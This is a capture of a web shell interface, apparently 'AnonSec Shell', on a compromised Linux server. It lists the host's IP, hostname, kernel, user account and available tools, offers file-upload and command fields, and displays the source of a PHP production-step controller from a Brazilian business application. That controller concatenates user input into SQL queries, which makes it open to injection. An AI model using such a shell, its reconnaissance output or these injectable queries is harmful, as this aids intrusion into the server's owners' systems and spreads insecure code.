AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/leo/application/plugins/module_pcp/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/leo/application/plugins/module_pcp/controllers/p-steps.php
<?php
_auth();
$dir = "module_pcp"; //diretório do plugin criado, dentro da pasta plugins
$controller_path = '?ng='.$dir.'/'.$controller.'/';

$url = array();
$url['add']= $controller_path.'add';
$url['edit']= $controller_path.'edit';
$url['product-edit']= $controller_path.'product-edit';
$url['list']= $controller_path.'list/';
$url['delete']= $controller_path.'delete';

$ui->assign('jsvar', '
_L[\'are_you_sure\'] = \'' . $_L['are_you_sure'] . '\';
_L[\'Save\'] = \'' . $_L['Save'] . '\';
_L[\'OK\'] = \'' . $_L['OK'] . '\';
 _L[\'Remove\'] = \'' . $_L['Remove'] . '\';
_L[\'Select\'] = \'' . $_L['Select'] . '\';
_L[\'Cancel\'] = \'' . $_L['Cancel'] . '\';
_L[\'Add New Unit\'] = \'' . $_L['Add New Unit'] . '\';
_L[\'Unit Name\'] = \'' . $_L['Unit Name'] . '\';
_L[\'Unit Initials\'] = \'' . $_L['Unit Initials'] . '\';
_L[\'Add New Location\'] = \'' . $_L['Add New Location'] . '\';
_L[\'Location\'] = \'' . $_L['Location'] . '\';
_L[\'Add New Category\'] = \'' . $_L['Add New Category'] . '\';
_L[\'Category\'] = \'' . $_L['Category'] . '\';
_L[\'Parent Category\'] = \'' . $_L['Parent Category'] . '\';
_L[\'Select Category\'] = \'' . $_L['Select Category'] . '\';
_L[\'Add New Packing\'] = \'' . $_L['Add New Packing'] . '\';
_L[\'Add New Tag\'] = \'' . $_L['Add New Tag'] . '\';
_L[\'Group Tags\'] = \'' . $_L['Group Tags'] . '\';
_L[\'Tags\'] = \'' . $_L['Tags'] . '\';
_L[\'Manufacturer Name\'] = \'' . $_L['Manufacturer Name'] . '\';
_L[\'Code\'] = \'' . $_L['Code'] . '\';');

$css_arr = array(
  'modal',
  'dp/dist/datepicker.min',
  's2/css/select2.min',
  'ibilling/picker/picker',
  'ibilling/clockpicker/clockpicker',
  'redactor/redactor',
  'c3/c3.min');

$js_arr = array(
  's2/js/select2.min',
  'ibilling/picker/picker',
  'ibilling/clockpicker/clockpicker',
  'ibilling/picker/time',
  'modal',
  'numeric', '/../../theme/lrsys/lib/jquery.maskMoney.min',
  'dp/dist/datepicker.min',
  'c3/c3.min',
  'c3/d3.min');

$ui->assign('xheader', Asset::css($css_arr).
  '<link rel="stylesheet" type="text/css" href="' .$_pd. '/assets/css/default.css"  />');

$ui->assign('_application_menu', $dir);
$ui->assign('_title', $_L['Pcp module'].' - '. $config['CompanyName']);
$action = $routes['2'];
$user = User::_info();
$ui->assign('user', $user);
$ui->assign('url', $url);

switch ($action) {

    case 'list':
    $ui->assign('xfooter', Asset::js($js_arr).
      '<script type="text/javascript" src="' .$_pd. '/assets/js/'.$controller.'/list.js"></script>'.
      '<script type="text/javascript" src="' .$_pd. '/assets/js/default.js"></script>'
    );

        $filter = array();
        $filter['items_per_page'] = 10;

        if($_SERVER['REQUEST_METHOD'] == 'POST') {
          $filter['search'] = filter_var(_post('search'), FILTER_SANITIZE_STRING);
          $filter['id_equipament'] = filter_var(_post('id_equipament'), FILTER_SANITIZE_STRING);
          $filter['id_product'] = filter_var(_post('id_product'), FILTER_SANITIZE_STRING);
          $filter['items_per_page'] = filter_var(_post('items_per_page'), FILTER_SANITIZE_STRING);
        } else {
          if($i = array_search('search', $routes))
            $filter['search'] = filter_var($routes[$i+1], FILTER_SANITIZE_STRING);
          if($i = array_search('id_equipament', $routes))
            $filter['id_equipament'] = filter_var($routes[$i+1], FILTER_SANITIZE_STRING);
          if($i = array_search('id_product', $routes))
            $filter['id_product'] = filter_var($routes[$i+1], FILTER_SANITIZE_STRING);
        }


        $sql = "SELECT m.*, p.description as product_name from module_pcp_production_steps m INNER JOIN sys_items p ON p.id = m.product_id ";
        $where = " WHERE m.id > 0";

        if(isset($filter['search']) && $filter['search'] != '') {
          $where .= " AND m.name LIKE '%".$filter['search']."%'";
        }

        // die($filter['id_product']);

        // Filtra por Equipamento
        if(isset($filter['id_product']) && $filter['id_product'] != "") {
          $where .= " AND m.product_id = ".$filter['id_product'];
        }

        $order = " ORDER BY m.product_id DESC" ;
        $query = $sql.$where.$order;

        $page = isset($routes['3']) ? $routes['3'] : 1;

        $paginator = new ModulePaginator('module_pcp_production_steps', $query, $filter);
        $records = $paginator->setItemsPerPage($filter['items_per_page'])
          ->setCurrentPageNumber($page)
          ->run();

        // $sumary = Equipament::getSumary();

        $ui->assign('records', $records);
        $ui->assign('paginator', $paginator);
        $ui->assign('filter', $filter);


        $ui->assign('_st', $_L['Pcp_steps list_title']);
        $ui->assign('_include', $controller.'/'.$action);
        $ui->display('wrapper.tpl');
    break;

    case 'add':
        $ui->assign('xfooter', Asset::js($js_arr).
          '<script type="text/javascript" src="' .$_pd. '/assets/js/'.$controller.'/add.js"></script>'.
          '<script type="text/javascript" src="' .$_pd. '/assets/js/default.js"></script>'
        );
        $steps = array();

        if($_SERVER['REQUEST_METHOD'] === 'POST') {

          $params = array(
            'name' => _post('name'),
            'product_id' => _post('product_id'),
            'equipament_steps_id' => _post('equipaments_ids'),
            'duration_time' => _post('duration_time'),
            'ids_equipaments' => _post('ids_equipaments'),
          );

          $model_steps = Model::factory('ProductionSteps')->create($params);

          if($model_steps->saveOrUpdate()) {
            r2(U . $dir.'/'.$controller.'/list', 's', $_L['Pcp_Equip flash add_success']);
          } else {
            r2(U . $dir.'/'.$controller.'/list', 'e', $_L['Pcp_Equip flash add_fail']);
          }

        }

        $ui->assign('steps', $steps);
        $ui->assign('_st', $_L['Pcp_steps add_title']);
        $ui->assign('_include', $controller.'/'.$action);
        $ui->display('wrapper.tpl');
    break;
    case 'edit':
        $ui->assign('xfooter', Asset::js($js_arr).
          '<script type="text/javascript" src="' .$_pd. '/assets/js/'.$controller.'/edit.js"></script>'.
          '<script type="text/javascript" src="' .$_pd. '/assets/js/default.js"></script>'
        );

        $id = $routes[3];
        if($id) {

          if($_SERVER['REQUEST_METHOD'] === 'POST') {

            $params = array(
              'id' => $id,
              'name' => _post('name'),
              'product_id' => _post('id_product'),
              'equipament_steps_id' => _post('equipaments_ids'),
              'duration_time' => _post('duration_time'),
            );

            $model_steps = Model::factory('ProductionSteps')->find_one($id);

            if($model_steps->saveOrUpdate($params)) {
              r2(U . $dir.'/'.$controller.'/edit/'.$id ,'s', $_L['Pcp_Equip flash add_success']);
            } else {
              r2(U . $dir.'/'.$controller.'/edit/'.$id, 'e', $_L['Pcp_Equip flash add_fail']);
            }

          }

          $steps = Model::factory('ProductionSteps')->where('id',$id)->findArray()[0];
          $list_steps = Model::factory('ProductionSteps')->where('product_id', $steps['product_id'])->order_by_asc('order')->findArray();
          $equipaments = Model::factory('EquipamentsSteps')->where('id_production_steps', $id)->findArray();
          
          // pego os dados do produto
          $product = ORM::for_table('sys_items')->where('id', $steps['product_id'])->find_one();
          $ui->assign('product', $product);
          
          $ui->assign('equipaments', $equipaments);
          $ui->assign('steps', $steps);
          $ui->assign('list_steps', $list_steps);
          $ui->assign('_st', $_L['Pcp_steps edit_title']);
          $ui->assign('_include', $controller.'/add');
          $ui->display('wrapper.tpl');

        } else {
          r2(U . $dir.'/'.$controller.'/list', 'e', $_L['Pcp_Equip flash update_fail']);
        }

    break;
    
    case 'product-edit':
        $ui->assign('xfooter', Asset::js($js_arr).
          '<script type="text/javascript" src="' .$_pd. '/assets/js/'.$controller.'/edit.js"></script>'.
          '<script type="text/javascript" src="' .$_pd. '/assets/js/default.js"></script>'
        );
        
        $product_id = $routes[3];
        $id = isset($routes[4])?$routes[4]:0;
        if($product_id) {

            if($_SERVER['REQUEST_METHOD'] === 'POST') {

                // pego os equipamento utilizados
                $arr_equipaments = array();
                $count_equipaments = _post('count_equipaments');
                for($i = 1; $i <= $count_equipaments; $i++)
                {
                    $arr_equipaments[] = array( 'id' => _post('step_equipament_'.$i),
                                                'id_equipament' => _post('id_equipament_'.$i),
                                                'time' => _post('time_'.$i),
                                                'obs' => _post('obs_'.$i)
                                                );
                }
                
                if($id > 0)
                {
                    $params = array(
                        'id' => $id,
                        'name' => _post('name'),
                        'product_id' => $product_id,
                        'equipament_steps_id' => _post('equipaments_ids'),
                        'duration_time' => _post('duration_time'),
                        'description' => _post('description'),
                        'arr_equipaments' => $arr_equipaments
                    );

                    $model_steps = Model::factory('ProductionSteps')->find_one($id);

                    if($model_steps->saveOrUpdate($params)) {
                        r2(U . $dir.'/'.$controller.'/product-edit/'.$product_id.'/'.$id ,'s', $_L['Pcp_Equip flash add_success']);
                    } else {
                        r2(U . $dir.'/'.$controller.'/product-edit/'.$product_id.'/'.$id, 'e', $_L['Pcp_Equip flash add_fail']);
                    }
                }
                else
                {
                    $params = array(
                        'name' => _post('name'),
                        'product_id' => $product_id,
                        'equipament_steps_id' => _post('equipaments_ids'),
                        'duration_time' => _post('duration_time'),
                        'description' => _post('description'),
                        'ids_equipaments' => _post('ids_equipaments')
                    );
                    $model_steps = Model::factory('ProductionSteps')->create($params);
                    $params['arr_equipaments'] = $arr_equipaments;
                    
                    if($model_steps->saveOrUpdate($params)) {
                        r2(U . $dir.'/'.$controller.'/product-edit/'.$product_id, 's', $_L['Pcp_Equip flash add_success']);
                      } else {
                        r2(U . $dir.'/'.$controller.'/product-edit/'.$product_id, 'e', $_L['Pcp_Equip flash add_fail']);
                      }
                }
            }
            
            if($id > 0)
            {
                $steps = Model::factory('ProductionSteps')->where('id',$id)->findArray()[0];
            }
            else
            {
                $steps = array('product_id' => $product_id);
            }
            
            $list_steps = Model::factory('ProductionSteps')->where('product_id', $product_id)->order_by_asc('order')->findArray();
            $equipaments = Model::factory('EquipamentsSteps')->where('id_production_steps', $id)->findArray();
            
            foreach ($equipaments as $key => $equipament)
            {
                $e = ORM::for_table('module_pcp_equipaments')->where('id', $equipament['id_equipament'])->find_one();
                $equipaments[$key]['equipament_name'] = $e['name'];
            }
//            var_dump($equipaments);exit;
            // pego os dados do produto
            $product = ORM::for_table('sys_items')->where('id', $product_id)->find_one();
            if(!$product) 
            {
                r2(U . $dir.'/'.$controller.'/list', 'e', $_L['Pcp_Equip flash update_fail']);
            }
            else
            {
                $ui->assign('product', $product);
                $ui->assign('equipaments', $equipaments);
                $ui->assign('steps', $steps);
                $ui->assign('list_steps', $list_steps);
                $ui->assign('_st', $_L['Pcp_steps edit_title']);
                $ui->assign('_include', $controller.'/product-edit');
                $ui->display('wrapper.tpl');
            }
        } else {
          r2(U . $dir.'/'.$controller.'/list', 'e', $_L['Pcp_Equip flash update_fail']);
        }

    break;

    case 'delete':
      $id = $routes[3];
      $step = Model::factory('ProductionSteps')->find_one($id);

      if($step->delete()) {
        r2(U . $dir.'/'.$controller.'/list', 's', $_L['Pcp_Equip flash add_success']);
      } else {
        r2(U . $dir.'/'.$controller.'/list', 'e', $_L['Pcp_Equip flash add_fail']);
      }
    break;


    case 'reorder':

    $ids_step_new_orders = $_POST['ids'];

    foreach ($ids_step_new_orders as $key => $id) {
      $step = Model::factory('ProductionSteps')->find_one($id);
      $step->order = $key+1;
      $step->save();
    }

    $response = array("status" => "success", "message" => $_L['Pc flash success']);

    Ib_Ajax::response($response);

    break;


    case 'list_prod':
    $data = ORM::for_table('sys_items')
                ->table_alias('i')
                ->select('i.description','name')
                ->select('i.id')
                ->select_expr("(select initials from sys_items_unit u where u.id=i.unit_id )", 'u_unit')
                ->order_by_asc('name');
    Ib_Ajax::response($data->findArray());
    break;


	default:
        echo 'action not defined';
}

Anon7 - 2022
AnonSec Team